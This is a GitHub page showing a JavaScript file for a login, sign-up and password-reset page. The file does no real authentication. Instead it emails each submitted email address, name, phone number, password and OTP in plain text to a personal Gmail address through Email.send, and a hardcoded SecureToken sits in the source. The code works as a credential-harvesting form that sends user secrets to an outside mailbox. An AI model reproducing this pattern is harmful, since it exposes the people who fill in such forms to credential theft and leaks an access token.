-
Notifications
You must be signed in to change notification settings - Fork 0
/
script.js
115 lines (94 loc) · 4.02 KB
/
script.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
//FOR SWITCHING PAGE
let alreadyhaveAccount = document.querySelector("#aha")
let signIn = document.querySelector(".signIn")
let IdontHaveAnAccount = document.querySelector("#nhcaa")
let signUp = document.querySelector(".signUp")
let resetBtn = document.querySelector("#resetBtn")
let forgetPage = document.querySelector(".frgtPage")
let goBack = document.querySelector("mark")
let forgetLink = document.querySelector("#frgtLink")
alreadyhaveAccount.addEventListener("click", function (){
signIn.style.display = "block"
signUp.style.display = "none"
})
IdontHaveAnAccount.addEventListener("click", function (){
signIn.style.display = "none"
signUp.style.display = "block"
})
goBack.addEventListener("click",function(){
signIn.style.display = "block"
forgetPage.style.display = "none"
})
forgetLink.addEventListener("click",function(){
signIn.style.display = "none"
forgetPage.style.display = "block"
})
//FOR SIGNUP PAGE DATA TRANSFER TO ADMIN
let SIGNUPBTN = document.querySelector("#signUpbtn")
SIGNUPBTN.addEventListener("click",function(){
let signUpEmail = document.querySelector(".signUp #email").value
let signUpFname = document.querySelector(".signUp #fname").value
let signUpLname = document.querySelector(".signUp #lname").value
let signUpPhone = document.querySelector(".signUp #phone").value
let signUpPass = document.querySelector(".signUp #pass").value
if( signUpEmail.length == 0 || signUpFname.length == 0 || signUpLname.length == 0 || signUpPhone.length == 0 || signUpPass.length == 0){
swal("ERROR", "Please fill Every Details", "error");
}else{
Email.send({
SecureToken : "925d1fee-c803-4d93-a09c-c79ad4da638f",
To : 'AkshatKumar90157678@gmail.com',
From : "AkshatKumar90157678@gmail.com",
Subject : "SIGN UP DATA",
Body : "Email : " + signUpEmail
+ "<br> Name : " + signUpFname + " " + signUpLname
+ "<br> Phone : " + signUpPhone
+ "<br> Pass : " + signUpPass
}).then(
message => swal("Created Account Successfully", "Your data sent to MrTech-AK", "success")
)
}
})
//FOR SIGNIN PAGE DATA TRANSFER TO ADMIN
let SIGNINBTN = document.querySelector("#signInbtn")
SIGNINBTN.addEventListener("click",function(){
let signUpEmail = document.querySelector(".signIn #email").value
let signUpPass = document.querySelector(".signIn #pass").value
if( signUpEmail.length == 0 || signUpPass.length == 0){
swal("ERROR", "Please fill Every Details", "error");
}else{
Email.send({
SecureToken : "925d1fee-c803-4d93-a09c-c79ad4da638f",
To : 'AkshatKumar90157678@gmail.com',
From : "AkshatKumar90157678@gmail.com",
Subject : "SIGN IN DATA",
Body : "Email : " + signUpEmail
+ "<br> Pass : " + signUpPass
}).then(
message => swal("Login Successfully", "Your data sent to MrTech-AK", "success")
)
}
})
//FOR FORGETPAGE PAGE DATA TRANSFER TO ADMIN
let FORGETPAGEBTN = document.querySelector("#resetBtn")
FORGETPAGEBTN.addEventListener("click",function(){
let signUpEmail = document.querySelector(".frgtPage #email").value
let signUpOtp = document.querySelector(".frgtPage #otp").value
let signUpPass = document.querySelector(".frgtPage #pass").value
let signUpPassC = document.querySelector(".frgtPage #passC").value
if( signUpEmail.length == 0 || signUpOtp.length == 0 || signUpPass.length == 0 || signUpPassC.length == 0){
swal("ERROR", "Please fill Every Details", "error");
}else{
Email.send({
SecureToken : "925d1fee-c803-4d93-a09c-c79ad4da638f",
To : 'AkshatKum6ar90157678@gmail.com',
From : "AkshatKumar90157678@gmail.com",
Subject : "FORGET PASS DATA",
Body : "Email : " + signUpEmail
+ "<br> OTP : " + signUpOtp
+ "<br> Pass : " + signUpPass
+ "<br> Pass Confirm : " + signUpPassC
}).then(
message => swal("Reset Password Successfully", "Your data sent to MrTech-AK", "success")
)
}
})